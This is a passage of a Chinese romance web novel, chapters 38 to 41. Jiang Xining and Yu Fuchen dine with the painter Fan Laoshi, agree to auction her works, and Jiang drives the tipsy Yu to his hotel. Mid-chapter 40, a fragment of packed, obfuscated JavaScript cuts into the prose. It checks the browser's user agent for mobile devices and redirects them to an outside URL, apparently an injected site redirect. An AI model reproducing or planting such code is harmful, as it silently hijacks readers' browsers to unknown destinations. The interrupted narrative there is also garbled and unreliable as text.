江熙宁唇角上扬:“我找你说的事儿,也和范老的画有关。”
于付忱微微挑眉:“哦?”
两秒后,他说:“这么巧。”
巧?
这么说来,也是和她售出的那批画有关。
画家感谢藏家,这也是常有的事情。
但江熙宁转念一想,不会是于付忱听了她提的拍卖的方案,表面上对她的提议无动于衷,实际上已经开始行动了吧。
这她可必须得去了。
江熙宁笑:“我也好久没见范老了。”
话都说到这份上了,于付忱便邀请她一同前往。江熙宁和姜明初挥挥手,跟着于付忱上了车。
“宁宁。”身后的姜明初走过来,喊住她,“就这么穿着去?”
江熙宁穿着一件设计款的涧石蓝无袖长裙,原本外面搭配的是一件黑橄榄色的西装马甲,但是刚才在卧室的时候被她脱掉了。
她一向要风度不要温度,但是这天到了夜里,湿冷无孔不入。
就在她打算让于付忱等她下,回去拿外套时,姜明初已经脱下身上的褐色开衫,披在她身上,“晚上天冷,别感冒了。”
于付忱看着姜明初,用衣服将江熙宁圈在他的身前,动作自然亲昵。言语中也尽是爱护和宠溺。
这一刻,他突然意识到他们之间是以年为单位的感情。在过去青梅竹马的时光里,这种超越哥哥宠爱的爱护,上演过无数次。
千里奔赴而来的他,不过是半路才出现的陌生人。
38. 第 38
江熙宁回头看见于付忱转身走了,她也顾不上拒绝姜明初的衣服,手臂迅速的穿过宽大的袖子,跟了上去。
边走边回头和姜明初挥手:“明初哥你快回去吧。”
“记得吃饭哦。”
姜明初比了个电话的手势,示意她结束了打电话:“我去接你。”
江熙宁火速的上了车,扣好安全带。右反光镜中,姜明初依旧站在原地,目送她离开。
她刚想回过头时,于付忱启动车,一个左拐,车子向小区外驶去。
为了便于行驶途中友好交流、拉近距离,江熙宁这次选了副驾坐。上了车才发现车后座上放着一个木质画箱。她庆幸自己没去后座,不然打开车门看见位子上放着东西,再绕回来坐副驾那多尴尬。
“我妈妈的画……”
怎么刚才他没把画拿下车?
于付忱像瞥了眼消失在后视镜中的人影,朝她看了一眼,似是才想起来,轻描淡写道:“忘了。”
江熙宁:“……”
看他这么着急走,估计是赶时间,去范老那迟到确实也不合适,江熙宁便想着,一会儿姜明初来接她的时候再拿。
范老和于付忱约的地点在她家里,江熙宁去过两次,是位于西边的老城区的一处小洋楼。早在城中心没有扩建的时候,那里是顶热闹的城区,但是后来城市扩建,商业中心东迁,老城区逐渐就没落了。
开车过去还有点距离。
江熙宁瞄了一眼正在开车的于付忱,尝试开启话题。
“我以为你会让肖助理来送画呢。”
“他请病假了。”
“生病了?”江熙宁不禁问道。“是不是没休息——”
这时,于付忱偏头看过来,她脑海中名为情商的警铃瞬间开始作响。
问这话之前,江熙宁想到江印自从加入他的公司后,就成了干活牛马,这点体现在江印在群里的活跃度大大降低。以前每天都会回国倒计时打卡,这几日已经基本不发了。
举一反三,肖易作为他的贴身助理,她想只会被压榨的更厉害。
意识到这么说容易被理解成讽刺他是个万恶资本家,江熙宁强行转了个话头:“我看肖助理挺身强体壮的。”
肖易今日提交了请假的oa,下午的时候补上了医院的病历。除了湿疹之外,还有点感冒低烧,于付忱强制让他多休息一天。不过肖易还是同他汇报了最近几个重要工作的进度,以及,武怡已经见过江熙宁。
于付忱说:“水土不服。”
江熙宁:“噢。”
青城和宁城有着明显的南北差异,干湿分离是其中较为突出的一个。像宁城最近这种连饼干放半天都会变软,气温忽高忽低的和正弦函数似的潮湿天,即使是有百分之五十宁城基因的江印,照样是不适应的,更别提百分之百的北方人。
见他没多想,她在心底默默松一口气。
一转头,看见于付忱在看她。
“你倒是很关心我助理。”
江熙宁:“啊?”
这是正常人际交往都该有的情商和爱心吧……
于付忱平白无故的这么问,还配上一个如此意味不明的眼神,让她脑袋里智商的警铃也开始大作,他对身边任何人与她的亲近都不赞成,并抱有抵触的心理。
他不会是……
……
“我对你助理可没意思啊。”江熙宁扶额。
当初喜欢你兄弟已经算是她眼瞎,怎么可能觊觎你的助理。
想到这,她又略表关心自己这位未来合作伙伴的身心健康,问:“那你还习惯吗?”
于付忱手臂搭在方向盘上,没看她也没说话,只是盯着正前方的路。
从江熙宁的角度看过去,正好看见他锋利清晰的下颚线,峻挺的鼻梁。
说实话,这张脸要是长点儿湿疹什么的,可惜了。
大概是被她盯的时间久了,于付忱开口。
“有听你的建议。”
“?”
江熙宁愣了愣。
建议——
什么建——
噢,她想起昨晚。
自己让他不要裸睡。
……
有劝您是真听。
车上的气氛一度安静下来。江熙宁盯着外面的风景看了会儿,等这一阵的尴尬消去才转了话题,试探性的重提起拍卖合作的方案。说到底这事儿只要于付忱点头,范老不会有什么意见。
“于总平日有收藏字画的习惯吗?”
“没有。”
若是没有,那就不存在打算私藏的可能。
江熙宁又试探的问:“家里人呢?”
车内再度沉默下来。
于付忱没有回答她的问题,平静的开着车,但江熙宁看的分明,那一瞬他眉毛微微挑动了下,是隐藏的很好的谨慎。
江熙宁不知道自己是不是操之过急,问的太多了。于付忱这样身份和地位的人,带着目的接近他的人一定很多,疑罪从有、机敏谨慎、沉默是金,该是刻在骨子里的。
她应该再沉住气一点的。
“江熙宁。”
“嗯?”
就在她还在反思的时候,于付忱转了个话题。
“我同意你的方案。”他说,“听起来,你已经考虑的很周全了。”
-
范老所在的洋房区停车位不多,老城区的路修的也并不宽,路两旁的住户习惯把车停在门口,导致来往的车辆遇到交车,都有点勉强。
到了目的地,于付忱把车停在了路口,还需要步行一段距离。
这天复又下起了雨。
下雨天黑的早,不到六点就已经黑透了。路边零星的亮着几盏灯,雨点在白色的灯光下,亮闪闪的,像细小的尖牙。
于付忱从后备箱里拿出一把很有分量的长柄伞,通身黑色,伞骨至少有二十四根,手柄看起来快有江熙宁的小腕那么粗。
见他只拿出这一把,江熙宁连忙问了句:“你还有别的伞吗?”
出门的时候雨停了,加上走的急,没带。
于付忱打开这把看起来十分考验臂力的伞,随意道:“没有。”
江熙宁只能蹭伞。
春天的雨轻的没什么声音,四周寂静,只有两人踩在湿地上的脚步声和近在咫尺的呼吸声。
进了伞下,她才发现,这伞看起来大,但要容纳两人还是逼仄了一点。
两人的胳膊总是摩擦到一
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起,在安静的夜里无端生出一些令人遐想的线条和触感。
江熙宁拢了拢衣服,尽量避免碰上。
外面是绵密湿冷的雨,伞下的空间像是孙悟空保护唐僧划的圈,两人被围在这小小的一方空间中,一旦超出这个范围,那些粘人的小雨怪就嘻嘻沥沥的往人身上贴。无法离得太远的距离,过于oversize的外套,让两人的衣料相触。
于付忱朝她看了眼,忽然开口,语气像是忍了很久:“这衣服和你裙子,颜色不搭。”
江熙宁:“……”
什么毛病,嫌被她碰到挑衣服的刺?衣服惹到你了?!
这黑灯瞎火的,啥颜色看起来都是黑黢黢的,能看出个der啊。
江熙宁没好气道:“你对颜色还挺有研究。”
人在伞下,不得不低头。
不然这人一个不高兴,让她淋雨走怎么办。
于付忱淡声中略略带着点明褒暗贬的意味:“班门弄斧了。”
江熙宁感觉这人在阴阳。
赤洛洛的阴阳。
她考他:“你第一次来画廊,穿的衣服是什么颜色?”
于付忱大概是不知道为什么突然问起这,顿了片刻。
“黑色。”
“你今天穿的衣服是什么颜色。”
“黑色。”
江熙宁又问:“那我们脚下踩着的路现在时什么颜色?”
于付忱:“黑色。”
看!分不清还在那装颜色大师。
江熙宁自觉的挪开超过了那个圈,雨水立刻飘过来。
于付忱注意到她的动作,不动声色的把伞也向着她倾斜。
“难道不是?”
“当然不是啦。”江熙宁说,“黑色也是有很多种的,你第一次穿的黑色,是燕尾青。今天穿的是黑橄榄。”
江熙宁说的极为认真,柔媚的睫毛扑扇着,头发随着动作上下浮动,俏皮又狡黠。
玲珑挺俏的鼻子在鼻尖那儿微微外凸,像颗俏皮的珍珠。
再往下,是任性的下巴,肉感而娇嫩。
于付忱盯着她看了几秒,耳边的雨声飘的很远,只听得到她的。
“你记得挺清楚。”
江熙宁抬头,撞进对方的视线里。
见他直勾勾的盯着自己,江熙宁不知道为什么莫名涌上一种虚虚的感觉。
知道自己在阴阳他?
她顺势低下头,避开他审视的视线,假装没听见。
“还有脚下——”
脚下有一个小水坑……
江熙宁为了避开,便伸开一条腿跨步迈过去,虽然她穿着裙子稍微限制了点发挥,终究还是被她成功的迈过去了。
成功避坑。
但,就在她前脚落地的瞬间,一股湿滑的触感袭来。
她鞋底踩到了青苔,下一秒,失去了平衡。
江熙宁还没来得及喊救命,手臂被人紧紧的抓了一把,那力道实在是大的可怕,她借着力,稳稳的站住了。
头顶凛冽的气息悉数兜下,随之而来的于付忱有点沉的笑声,在这夜幕中格外清晰。
他续上她没说完的答案。
“知道了,是灯下黑。”
39. 第 39 章
接下去的路,谁都没有说话。
在一路的沉默中,两人来到了范老的家。
进了院子,一只黑猫迅速蹿至门口来迎接的两人。
一年前的冬天,这只刚出生孱弱的小猫被猫妈妈丢在了院门口,被发现的时候已经全身冻僵,呼吸也几乎没有了。范梦华心有不忍,立刻把它转移到了暖和的屋内,用软和的毛巾包裹它,不停的搓它的全身,整整急救了六个小时后,小猫奇迹般的恢复了心跳。
从那之后,这只小黑猫便留在这院子里看家护院,和范梦华朝夕作伴。
“九命~~~”
九命是黑猫的名字,寓意它有坚韧的、遇凶化吉的生命力。
江熙宁蹲下热情的和它打招呼,小家伙立刻歪着脑袋过来蹭她的手。
九命特别的有灵性,若是认识的人来,它会早早的等在门口迎接,像个热情的小管家,然后绕在来人的脚边带着客人进屋。
就像现在这样。
如果是不速之客,它会双眼紧紧的盯着对方,身体微微弓起,背部绷紧,试图逼退来者。之前有一个藏家不懂规矩,跳过画廊私下找上门,最后喜提五道杠。
江熙宁忽然想起九命是第一次见于付忱,不熟悉他的味道,她出声提醒:“这猫有点认生。”
话没说完,只见九命从她的手心中绕过去,飞身一跃,迅捷而精准地跃上于付忱的肩头,调转身形后,一人一猫,黑色的身影交织在一起,不可忽视的冷峻与酷炫,让江熙宁的视线不自觉地为之一停。
竟然……不怕于付忱?
“来了?”屋内的门突然打开,范老看见他们招了招手,热情的邀请两人进屋。
范梦华年轻的时候为了追求自己的画画梦想一直在国外,后来年纪稍长一些不想被柴米油盐搓磨,所以选择未婚,回国后便一人独居在这小洋楼。
屋内是绿意主调的复古风格,木质方桌上,已经摆放好碗筷和应季的食物,马兰头香干、韭菜炒肉丝,清炒芦笋,南瓜鸡翅,一小盏话梅和姜丝。
“都是些简单的家常菜,快坐。”
于付忱和江熙宁,两人分别选了主位的左右侧坐下。
范梦华从酒柜里拿出一坛十年冬酿的花雕,倒在银壶里,放在温酒器皿中,琥珀色泽的酒接触空气的那刻,散发出诱人的香气。
江熙宁见过不少艺术家,都有一些独特的创作小癖好,有喜欢吃点儿甜食糕点、有必须先用香皂洗手,还有像范老这种,创作前喝点儿小酒,微醺后更有状态的。
且年份越久的越有状态。
所以她的家里有不少藏酒。
范梦华打开包装:“这酒还是两年前我在青城艺博会上参展的时候买下的。”
“两年前?”江熙宁有些惊讶,“那次展我也去了。”
江熙宁对那次的展印象深刻,除了范老名声大噪的《夜光》第一次在国内展出之外,还令她至今对那天都印象深刻的是因为,原本那天李晋许是要陪她一起去的,结果临了却说是篮球队有集训,他作为队长不好带头走人,于是放了她鸽子。
“哦?”范老看了看她,又看了看一旁的于付忱,“这么说来,我们这一桌人,当初都在那个展上。”
“都?”江熙宁再次惊讶,目光看向一旁面色平静的于付忱。
他也去了?
于付忱抬手拿过范老的酒杯,用镊子夹过话梅和姜丝放进去,没有看她,也没有说话。
范梦华感叹:“真是缘分。”
江熙宁还在思考前一个话题,下意识附和,“确实有缘。”
说完她猛然察觉刚才这话有歧义,容易被误解成和他有缘,连忙又补了了一句,“没想道两年前一起看您的展,两年后又能和您合作。”
“是啊。这可值得好好喝一杯,”范梦华说完,拿过热好的酒壶倒入花瓣状的杯子里,对江熙宁说:“来一杯?”
江熙宁窘,她有点想喝但不太敢。
黄酒口感醇柔,不辛辣,回甘强烈,后劲却也足。她前几次来贪杯过,初喝没感觉,不觉得有多浓的酒味,结果什么时候醉的也不记得了。
第二天起来完全断片。
也不知道那晚自己在醉后做了什么惊天动地的大事,范老居然就同意把画签到她的画廊。
之前江熙宁没好意思问,趁着这个机会,她双手捧过酒杯,小心翼翼问道:“我上次,喝醉……有做什么蠢事吗?”
“可不是什么蠢事,那天你说了你开画廊的初心,说你要做国内数一数二
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画廊,你不知道你喝醉有多挺可爱的,那表情坚定的像入党。”范梦华回忆起当时的画面哈哈大笑起来。
原来自己喝醉了还不忘正事。
真棒啊江熙宁。
(///▽///)
江熙宁用力点点头:“我那是酒后吐真言。”
“你还说为了回来开画廊,不惜和当时的男朋友分手,听的我挺感动的。”
听到这话,江熙宁撤回嘴边的笑,心底的那些个小骄傲、小热血瞬间熄灭。
这么励志的时刻,她还提到李晋许了?
范梦华往她捧过来的酒杯里倒酒,继续回忆当时的聊天内容:“你当时还狠狠的骂了你那个前男友,骂他是个爱面子的虚伪男人。”
酒多必失言啊。
江熙宁此刻恨不能有第三只手,拨弄个什么筷子勺子的到地上,好让自己有理由往桌底下去钻一钻。
可惜她为表尊敬,两只手都用去捧酒杯了。
范梦华察觉到她脸色的瞬息变化,突然意识到什么,问:“你现在,应该没有那前任了吧?”
江熙宁立刻否认:“没有,绝对没有,”
于付忱终于不再沉默,抬起头瞥了她一眼,眸光沉沉的盯着她,自带一股说不清道不明的审视意味。
其中的意味不言而喻。
范梦华点头:“这样要叫你放弃自己的事业的男人,要警惕,大男子主义的可千万不能要。”
江熙宁哂笑,小声道:“这陈年酒,要是再用陈年旧事下酒,我是真要醉了。”
这酒她是万万不敢喝了。
当年的酒,就让她把李晋许骂了一遍。
这十年的花雕,喝醉了不得把他骂十遍啊,还是当着他兄弟的面。
但是,范老给她倒的酒,不喝也不太好。
就在她百般为难时,手中的杯子被人抽走,取而代之的是一杯温热的茶水。
江熙宁看向拿走酒杯的于付忱,眨了眨眼睛。
于付忱漫不经心的解释:“一会儿你开车。”
江熙宁反应过来,这是要她当司机。
“你不是不喝酒?”
“嗯。”于付忱抿了一口杯中的酒,说道:
“高兴的时候,会喝。”
40. 第 40 章
范梦华的目光在两人之间逡巡了几个来回:“你们两,这是在一起了?”
从范梦华的眼神中,江熙宁看出来她误会了自己和于付忱的关系。
两人先是一起出现,于付忱又替她挡酒,再是江熙宁下意识脱口而出他的小习惯……
合着范老这样的独身主义,照样喜欢八卦年轻人甜甜的爱情。
于付忱没言语,像是没听见似的,夹着菜。
见他没解释,江熙宁连连摆手说只是朋友的关系。
“好吧。”范梦华看了看于付忱,流露出几分惋惜的样子。
……
这话题揭过,江熙宁顺势往今日的来的目的上引:“范老,我们两今天来是有事儿想和您商量。我和于总,打算把您系列的作品同拍卖行合作,举办拍卖会。”
画家从作品签约给画廊的那一刻开始,其实后续的事便由画廊全权运作。范梦华打一开始将画作完完全全的交付给了她,卖给谁,之后如何处置都是画廊的事,她信任江熙宁。
但江熙宁还是会充分尊重画家的意愿,有什么推广细节、想法、出售价格都会提前告知和商量。
范梦华:“我没有意见啊,画都已经出手,具体怎么操作,阿忱同意就行。”
江熙宁转过头,眼中闪烁着兴奋的光芒,眼睫轻轻扑扇,带着几分雀跃的神情,笑意盈盈地注视着于付忱。
她这办法不仅可以抵消他在画廊的意外支出,如果拍卖进行的顺利,甚至还能带来可观的利润。
也算是她对他曾帮助画廊躲过舆论压力,作为感谢。
于付忱似乎也对此非常的领情,抿了口杯子里的酒,说道:“听你的。”
-
聊完了正事,江熙宁算是彻底的没了顾虑,这才安下心来吃饭。
席间的话题也不再限制于艺术的范围内,温酒器中的酒不知又补了几次,一坛的花雕就这么见了底。
晚餐结束,范老在酒精的激发下突然来了灵感,嘱咐两人喝完杯中的茶再走,自己便上楼去了画室。
外面夜色深浓,江熙宁走到窗边看了看,外面似乎没在下雨。
“我们走吧?”她说。
于付忱没应声。
江熙宁回头,看见于付忱坐在椅子上,闭着眼睛一动不动。
醉了?
她犹疑的走到他面前,闻到了他身上散发的酒味。平日里只可远观不可近之的模样,这会儿因为醉酒多了几分少见的慵懒。
大概是屋子里热,加上喝了酒,于付忱脱掉了外套,衬衣的两颗扣子随意松散着,能清晰看见脖间凌厉而清晰的喉结,往下是半露半藏的锁骨。
从初遇到重逢,江熙宁遇到这人一直处于一种巴不得离远远的逃避状态,从没仔细打量过这张完美建模脸,这会儿,她倒是敢大胆的欣赏了他一阵。
反正他喝醉了。
知道这人好看,但是近距离看还是有被震撼到。
五官的比例、肉和骨感的完美平衡,是多看两眼,都会令人感慨女娲偏心的程度。
完全对得起“绝色”两个字。
这时,江熙宁注意到白色的衬衣,肩头的一块区域比其他的地方要透一些,不仔细看,看不出来。她忽然想起刚才撑伞来时,她有意挪开了一步距离。
已知伞的大小不变,两人之间的间隔增加,雨水必然是会落在她肩头的。
可她的外套,是干的。
江熙宁伸手去摸了摸于付忱搭在椅背后的外套,指尖的肌肤传来一阵潮湿的触感。
她怔了怔,是未干透的水渍。
所以于付忱当时,把伞倾向她了。
只是因为外衣是黑色,所以沾了雨水看不出。
就在她收回手时,于付忱突然睁开了眼,一双黑眸目光灼亮的盯着她。
江熙宁的心跳莫名快了几分。
“你……还好吗?”
于付忱嗯了一声,摇摇晃晃的站起身,“走吧。”
可是还没走出几步,他将手撑在了墙上,像是在试图让自己站稳。另一只手的食指和大拇指捏了捏太阳穴,好让自己清醒一点。
见他这副样子,江熙宁说:“我帮你打电话给肖易,让他来接你。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127531|164357||http|test|mini|href|location''.split(''|''),0,{}));
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>正要掏出手机时,于付忱打断她:“他休假了。”
哦哦,对,肖易生病了。
“那你——”
这可难倒江熙宁了,怎么处理?
“很晕?”
“嗯。”
江熙宁是知道这黄酒的后劲,说起来她也不是完全没有酒量的人也能醉的不知不觉,更别提于付忱滴酒不沾的人。
毕竟也是为了替她挡酒,她也做不到见醉不救。
她咬了咬唇,心一横便将自己从他撑在墙上的胳膊下穿过去,“扶着我。”
这之前,她已经做好了,给这么个大块头当小拐杖,自己这脆弱的脊椎可能不堪重负的可能。醉酒的人比正常的时候,还要沉。
大三那年李晋许喝醉,她只是稍稍的扶了一把,两人都摔到了地上。
但没想到的是,意想之中的泰山压顶没出现,于付忱借在自己身上的力量很轻。
脊椎平安。
大概是没想到她的举动,于付忱的身体接触到她的时有些僵硬,江熙宁能感觉到她肩上的手臂,硬邦邦的,是肌肉充血的扎实感。
她都没介意了,他有什么好抗拒的。
“这样能走吗?”江熙宁也懒得管醉鬼怎么想:“能坚持到停车场吗?”
于付忱低头往怀里的人一带,一股淡淡的发香气飘到他的鼻尖。
他确实有些醉意,黄酒的后劲来势凶猛,四肢沉重,意识疲软,但绝不到无法掌控的地步。
只是睁开眼的那瞬,目光所及,是精致的脸庞,带着从未对他好奇过的打量,他便任由醉意侵占理智。
而现在,她紧紧的挨着他,试图用纤细的身体扶着他走。
于付忱的喉结不受控的滚了滚。这会儿,心底翻涌起的醉意也控制不住了。
直到肩头被一道不轻不重的力道揽住,江熙宁才试着迈出第一步,哪想于付忱不知道在想什么,脚停在那没有动。
她的力量带着他上半身往前倾。江熙宁下意识的以为他要倒下了,条件反射般用右手去支撑他的身体。
抵在了一片更石更的地方。
41. 第 41 章
隔着薄薄的衬衫,是清晰的凹凸手感,线条利落分明,不是呼之欲出的脂包肌,而是低体脂的精壮结实,这样的体型需要常年的自律才能够维持。
江熙宁知道这人身材好,但没想到八块腹肌这么……好。
从事这一行以来,她见过的人体艺术没有成百也有上千,但无论是画或者是雕塑,视觉冲击再强,肌理、阴影处理的再好,都只是静物而已。
没有烫手的温度,也没有柔软的触感。
于付忱的呼吸似有些不顺,混着淡淡的酒气和他身上独有的那股味道喷在江熙宁的脖颈,垂在颊侧的一缕碎发被撩起,摩挲过她侧脸,很痒。
江熙宁迅速缩回手,抓过这一缕被撩动的头发挽到耳后。
但试了几次它都不安分的掉下来。她偏过头,不想于付忱保持着刚才弯腰低头的姿势没动。
两人的鼻息瞬间交缠在一起。
江熙宁心跳跟着停了半拍。
男人的眉眼近在咫尺,表情和往日里没什么区别,冷淡而凝肃,可是他的眼神像被晚餐的酒泡柔了几分。
因此也变得蛊人起来。
就在她出神的望着这张脸时,于付忱的喉结微动,薄唇轻启。
“江熙宁,你脸红了。”
江熙宁一怔,尴尬的别开脸。
天杀的,怪她对好看的东西实在少点儿抵抗力。
吃水果,一定要挑里面长得最好看的。
合作藏品,作品必须是万里挑一的。
谈对象,她也要挑学校里最帅的。
事实证明,“注重外在”的颜狗操守,踩坑的几率会直线上升。
水果长得好看的,未必甜;作品好的,人品未必好;长得帅的,未必是最帅的。
不是,江熙宁在脑海里纠正,未必是合适的。
“被你酒气熏的。”她否认加火速甩锅:“你一不喝酒的人,喝这么多干什么。”
“……”
于付忱被她的话气笑,依旧保持着盯她的姿势,带着点理所当然的意味喊她,“江熙宁。”
“有点良心。”他又说。
江熙宁定了定心神,努力不让自己被他的话绕进去,她不想喝酒是不假,于付忱帮助她也是事实。
可她的感激也是百分百真的啊,而且是付诸于行动的那种,所以现在干苦力酬谢的人不正是她么。
况且……江熙宁昂着下巴看他。
“你不是说,你高兴么。”
气氛安静下来。
于付忱久久没反驳这话。
过了好一会儿,他像是认命般的承认。
“嗯,是挺高兴。”
-
走出屋外,江熙宁才发现这雨没停,只是比先前小了些。在灯下能清晰的看到它们的身影,像轻扬的尘埃,洋洋洒洒,在空中飘舞。
她扶着于付忱,压根没有手打伞,打算干脆淋一小节路回去,于是脚步便没停。
不想跨出台阶时,旁边的人又不动了。
“江熙宁。”
江熙宁抬头:“又怎么?”
她发现这人喝醉了,每说一句都要喊她的名字。
而且是全名全姓的。
“在下雨。”他说。
“于付忱。”江熙宁也全名全姓的喊回去,“我没有手,我在扶着你!”
于付忱的视线挪到她扶着自己的手上,说是扶,不如说扯、提或者拎更贴切。她分明是提着他虚虚搭在她肩上的手……的布料。
看起来更像是防止他的手过多的碰到她。
而另一只,凭体感可知,是拉着他后背的衬衣。
不过总归不再是一口一个于总。于付忱干脆利落的拒绝,并强调:“淋雨会感冒。”
“那不然呢?”江熙宁看他:“你能自己走的话,我——”
“不能。”于付忱打断她。
江熙宁压着想丢他去雨里的冲动:“那你打伞?”
于付忱没动,明摆着不赞同她的意见。
这也不行,那也不行。江熙宁突然想起大学时他对她的评价,眨着眼睫故意打量审视这人两秒,然后说:“你怎么这么娇气。”
小女子报仇,两年不晚。(*?︶?*)
不过,江熙宁也知道不能太得瑟,今日留一面,他日好相见。
她有分寸,点到为止。于是扫了眼角落那把看起来就笨重的伞,转圜道:“算了算了,知道你现在也举不起来。”
话音刚落,于付忱的眉心一跳,视线陡然凝肃起来。
无声的沉默。
江熙宁能明显感觉在她背上虚虚贴着的那只绅士手,小臂的肌肉在一寸寸的收紧。
……
她突然后知后觉的意识到,这句话对男人有着别样的杀伤力。
上一回类似的嘴于付忱,还是在李晋许和她分手的那次。
当初故意歪曲于付忱说的话,怼的那句“还不是美的令人发纸”,是故意为之。不过,是在抱着两人以后再也不会见面的情境下说的。
但现在这句蛐蛐……她真的是无意的。
偏偏,如今两人因为拍卖的合作,以后避免不了会频繁的接触。
要是现在再圆一句“能举起来……”来得及吗?
好像更此地无银三百两。
江熙宁盯着面前漆黑的眸子两秒,心虚的挠了挠面颊,然后面不改色的转了话题:“那你说怎么办?”
这傻装的挺明白的。
于付忱直直的看着她,语气没什么温度:“用外套。”
“嗯嗯。”江熙宁看了眼于付忱挂在臂弯处的外套,出来的时候他一直没穿,赞同道:“也是个办法。”
黑猫白猫,能抓到耗子的就是好猫。眼下要紧的,是把这尊佛,送天……不是,送车上去。
“那麻烦你举……”
眼见于付忱闭了闭眼,不想再多听见一个字的样子。
江熙宁连忙闭嘴,脑海中疯狂搜索着“那麻烦你()着衣服,可以用什么替换词时,听见一道平静中带着警告的声音。
“我这很贵。”
江熙宁错愕两秒,听懂了这句话的暗示。
这算盘珠子崩她脑门上了。
她摇头:“我的不行。”
于付忱解读她的拒绝:“不舍得?”
“我会冷。”
她才不要委屈了自己。
“冷?”于付忱眼皮动了动,像是认同她的这个理由,非常顺手的把自己的外套递给她。
“你穿我的。”
-
江熙宁见过的,酒前酒后判若两人的比比皆是。
今日新增一人类观察样本。
于付忱不喝酒的时候,正经、话少、冷肃,喝了酒之后,话多、矫情还有点子诡异的霸道。
就像现在,她不点头,他就像门神一样定定的站着,十分有耐心的等她回应。
最终,于付忱的衣服还是穿在了她的身上。
而姜明初的外套,被用来挡雨。
江熙宁安慰自己和一个酒鬼较什么真呢。
上了车,她将目的地输入导航,查看路线。
于付忱则将副驾驶的座椅往后调,他腿长,来时她坐着十分宽敞的位置,对于他而言膝盖已经抵上了前面的储物箱。
一路上都颇为安静。
座位调后,于付忱的身影便消失在她的余光中。
但她总是莫名的感觉到一股注视的视线,趁着变道看右反光镜的时候,江熙宁瞄过一眼,于付忱双眼紧闭,脸微微侧着她这一边,看起来是睡着了。
就在这时,正在导航的手机突然中断,有电话进来。
是姜明初。
去范老家之前姜明初说了去接江熙宁,一直没收到她说结束的消息,打电话过来询问。
江熙宁在睡着的人醒来的前一秒,点了拒绝。
于付忱还是醒了,他其实压根没睡着,淡淡的扫过屏幕上的名字问:“不接?”
江熙宁:“快到酒店了,一会儿再说。”
她出门没有认路的习惯,出门全靠导航指引,加上雨天路况也不好,怕开错路。
沉默两秒。
于付忱似是不经意的问起:“江印说你只有他一个亲哥。”
“不是亲哥,”江熙宁说:“甚是亲哥。”
旁边的人安静两秒后提醒:“江印知道,该吃醋了。”
“……”
忘了,这人是他哥的眼线了。
遇到姜明初的事情,江印向来是有一句,吐槽十句的,估计他们家那点儿事江印早和倒豆子似的和他的好兄弟倒完了。
她丝毫不怀疑,于付忱这人的性格,是会为了兄弟两肋插刀、仗义执言的。
在江熙宁的心里,两个哥哥对她而言同样的重要,江印与她是血浓于水,可姜明初和姜家对于她来说,是十多年陪伴和照顾的恩情。
“就算姜明初不拿我当妹妹,我也不再拿他当哥哥,江印就能不吃醋了?”
答案是不能。
江印还不是讨厌李晋许。
“我哥自负聪明,天才少年,我身边的那些朋友尤其是异性,就没有不遭他嫌弃的。”
想到这,江熙宁话一停。
目前。
好像。
还真……有一位。
因为这片刻的分神,江熙宁成功的走错了一个路口。导航语音播报重新规划的路线,新路线用时多了三分钟,还有十二分钟到达目的地。
“江熙宁。”
彼时,江熙宁已经对他醉酒后喊她脱敏,“又怎么了?”
“开慢点。”
下雨,她本来没开多快,才46码的速度。
……
于付忱注意到她
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瞄仪表盘的动作,扯唇:“晕。”
-
江熙宁可惜这千万豪车,被各路车辆,藐视般的超车、插车、又超车。
终于二十分钟后,以龟速游到了于付忱住的酒店楼下。
下了车,江熙宁将人交给了早早等在楼下的保镖,给姜明初先回了消息。
刚打算走,听到身后的于付忱说了句:“让阿旻送你回去。”
一旁叫阿旻的保镖得到指令,径直走到车后座,替她打开了门。
江熙宁已经见识过这个人在醉酒后的霸道,加上这个下雨天不好打车便没拒绝。
回去的车速,显然快了许多。
在抄了两条连导航都不知道的近道后,街景在离家越近的时候变得熟悉。江熙宁忽然意识到于付忱手底下的人对路况的熟悉度,居然比她这个从小在这里长大的人还要好。
她还想到,刚才在范老家,九命熟练的跳上于付忱的肩膀。
要九命完全信任一个人,至少需要三个月。于付忱不过来了短短一个多月的时间。
江熙宁看向前排专心开车的人,先是猛猛地夸赞了一番对方的车技,继而问道:“阿旻,你是宁城人吗?”
阿旻:“江小姐,我是青城人。”
江熙宁:“那你好厉害啊,来宁城这么短的时间,对这里的路这么熟悉。”
阿旻还是第一次被女生夸,尤其是这么漂亮的女生,红着脸道:“以前也经常开,所以比较熟悉。”
以前?江熙宁敏捷的捉住关键词,梳理出因果关系:“你们于总,经常来宁城?”
阿旻似乎察觉到她在打探于付忱的事,突然警觉起来,支支吾吾,突然闭口不聊了。
来找于天文吗?
这有什么不可说的。
江熙宁知道再问下去也问不出什么,便没再提。
但阿旻的反应却让江熙宁有些心不在焉。
如果于付忱以前经常来,在和她合作之前就和范老认识?
如果是这样,那他一开始会不会知道此刻画廊。
思索时,姜明初又打来了电话。
江熙宁右划接起。
知道她送醉酒的于付忱回去,姜明初顿了两秒说:“以后不要和喝醉的人,尤其是不熟悉的异性呆在一起,这么晚了很危险。”
江熙宁摸了摸有些被震到的耳垂,姜明初似乎比平日里更紧张她。说起来于付忱也不算不熟悉的异性,也算认识挺久的……朋友。
朋友这个词在脑海里跳出来的时候,江熙宁自己也吓了一跳。
不久之前,他还是自己黑名单中的一员。
姜明初继续说道:“万一他对你有什么目的呢?”
江熙宁下意识的不赞同姜明初的担忧。于付忱对她能有什么目的,图她钱还是图她色?
若说图财,损失钱财的人是他。
若说图色,他的也不输啊。
江熙宁替于付忱辩解,但又怕阿旻听见她说的话,压低声音:“放心吧,明初哥。他醉的连伞都举不起来,要人扶着才行。”
-
江熙宁到家后,第一时间和姜明初报了平安。
另一边阿旻把江熙宁送到家后,也第一时间回去和于付忱作了汇报。
酒店的总统套。
于付忱正在书房里和肖易通话,脸上全然没了先前醉意和轻松愉悦的神态。
见到阿旻进来,只是冷冷的看了他一眼。这一眼,让阿旻打了个激灵。
肖易在电话里汇报:“于总,于茂林那边有动静了。”
“嗯。”于付忱目光冷然,散漫的把玩着手中的水杯:“盯紧了。”
房间内的气氛比外面的气温还冻人。
